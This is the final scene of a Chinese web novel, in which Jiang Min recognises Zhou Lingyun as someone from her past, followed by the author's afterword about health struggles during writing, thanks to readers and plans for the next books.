“你手好些了吗?”姜悯侧过脸,飞快看了眼副驾的周灵蕴。 “大概是银杏果的汁水,在我的手上形成了膜一样的东西……” 周灵蕴低头搓手,十分苦恼,“像蜕皮一样摸起来好粗糙,回家再用肥皂洗洗吧。” “从小就爱在外面捡果子。”姜悯确信了,就是她。 于是,自然联想到几年前第一次见到周灵蕴时的情景。 不,准确来说应该是第二次了。 总之,也是在一个算不上美好的境地里,她抬起头,她看到她,风雨中,眼底燃着簇倔强不肯熄灭的光。 那一刻的心弦触动,原来并非凭空。 穿过岁月烟尘,在生命的不同节点再次走到她面前的,是同一个人—— 作者有话说:完结,友友们,从六月到十月,这个故事还是写了蛮久呢。按照我以往的速度,近四十万字,应该三个月就写完了,这本被迫慢下来,一个是我的身体原因,一个是我的情绪原因。 其实我一直是个挺着急挺卷的人,但也很容易觉得累,我很焦虑,总担心自己做得不够好,可我的身体和精神状态又实在难以支撑,今年我瘦了25斤,现在是80斤。啊啊,所以我只好一遍遍劝服自己,没关系,没关系,活着就好啦,只要活着,事情总能做完的。 慢下来以后,果然紧张感缓解许多,眼睛也没那么难受了,放任时间流走,好像也不是什么罪大恶极的事情…… 然后是谢谢,想对每一个人爱我的人说谢谢,谢谢你们的陪伴和支持,没有你们,我没办法坚持下去。 年初那会儿,我想过跑掉的,整宿整宿睡不着,哭,翻看私信,想留下的那么多预收怎么办,不写故事了真的甘心吗,啊(望天),到底还是挺过来了。总之谢谢谢谢,谢谢大家给我的温暖,我会永远铭记在心。我爱你们。 下本的话,想写个轻松点,类似《小石妖》风格的故事,“当当当当”,当然就是我们的《女王陛下》啦。预收挂了两年了,也该写了。计划是年前把《女王》写完,年后写《听说你到处找我》,嘿嘿,期待吧! 然后然后,如果喜欢这个故事,就把她推荐给更多的人吧! 然后然后,求求大家收藏我的预收呀呀呀呀呀(满地打滚)魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m